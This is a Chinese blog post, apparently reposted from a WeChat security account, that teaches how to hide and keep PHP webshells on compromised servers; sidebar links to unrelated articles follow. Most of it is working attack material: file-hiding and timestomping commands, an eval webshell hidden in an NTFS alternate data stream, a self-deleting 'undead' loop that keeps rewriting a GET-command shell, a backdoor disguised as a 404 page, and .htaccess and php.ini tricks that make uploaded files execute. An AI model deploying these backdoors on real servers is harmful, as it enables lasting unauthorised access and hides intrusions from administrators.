当前位置:网站首页>PHP后门隐藏技巧
PHP后门隐藏技巧
2020-11-06 22:33:35 【公众号_Bypass】
如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。
1、隐藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r shell.php //隐藏shell.php文件
2、修改文件时间属性
当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。
//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
使用命令获取文件属性
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
修改某个文件夹下所有文件的创建和修改时间
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、利用ADS隐藏文件内容
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。
利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
4、不死马
不死马会删除自身,以进程的形式循环创建隐蔽的后门。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
sleep(10); //间隔时间
}
?>
处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。
5、中间件后门
将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。
github项目地址:
https://github.com/VladRico/apache2_BackdoorMod
6、利用404页面隐藏后门
404页面主要用来提升用户体验,可用来隐藏后门文件。
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
7、利用 .htaccess 文件构成PHP后门
一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。
AddType application/x-httpd-php .png
另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
8、利用 php.ini 隐藏后门文件
php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。
;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"
需重启服务生效,访问任意一个php文件即可获取webshell。
本文分享自微信公众号 - Bypass(Bypass--)。
如有侵权,请联系 [email protected] 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
版权声明
本文为[公众号_Bypass]所创,转载请带上原文链接,感谢
https://my.oschina.net/bypass/blog/4702864
边栏推荐
- C++ 数字、string和char*的转换
- C++学习——centos7上部署C++开发环境
- C++学习——一步步学会写Makefile
- C++学习——临时对象的产生与优化
- C++学习——对象的引用的用法
- C++编程经验(6):使用C++风格的类型转换
- Won the CKA + CKS certificate with the highest gold content in kubernetes in 31 days!
- C + + number, string and char * conversion
- C + + Learning -- capacity() and resize() in C + +
- C + + Learning -- about code performance optimization
猜你喜欢
-
C + + programming experience (6): using C + + style type conversion
-
Latest party and government work report ppt - Park ppt
-
在线身份证号码提取生日工具
-
Online ID number extraction birthday tool
-
️野指针?悬空指针?️ 一文带你搞懂!
-
Field pointer? Dangling pointer? This article will help you understand!
-
HCNA Routing&Switching之GVRP
-
GVRP of hcna Routing & Switching
-
Seq2Seq实现闲聊机器人
-
【闲聊机器人】seq2seq模型的原理
随机推荐
- LeetCode 91. 解码方法
- Seq2seq implements chat robot
- [chat robot] principle of seq2seq model
- Leetcode 91. Decoding method
- HCNA Routing&Switching之GVRP
- GVRP of hcna Routing & Switching
- HDU7016 Random Walk 2
- [Code+#1]Yazid 的新生舞会
- CF1548C The Three Little Pigs
- HDU7033 Typing Contest
- HDU7016 Random Walk 2
- [code + 1] Yazid's freshman ball
- CF1548C The Three Little Pigs
- HDU7033 Typing Contest
- Qt Creator 自动补齐变慢的解决
- HALCON 20.11:如何处理标定助手品质问题
- HALCON 20.11:标定助手使用注意事项
- Solution of QT creator's automatic replenishment slowing down
- Halcon 20.11: how to deal with the quality problem of calibration assistant
- Halcon 20.11: precautions for use of calibration assistant
- “十大科学技术问题”揭晓!|青年科学家50²论坛
- "Top ten scientific and technological issues" announced| Young scientists 50 ² forum
- 求反转链表
- Reverse linked list
- js的数据类型
- JS data type
- 记一次文件读写遇到的bug
- Remember the bug encountered in reading and writing a file
- 单例模式
- Singleton mode
- 在这个 N 多编程语言争霸的世界,C++ 究竟还有没有未来?
- In this world of N programming languages, is there a future for C + +?
- es6模板字符
- js Promise
- js 数组方法 回顾
- ES6 template characters
- js Promise
- JS array method review
- 【Golang】️走进 Go 语言️ 第一课 Hello World
- [golang] go into go language lesson 1 Hello World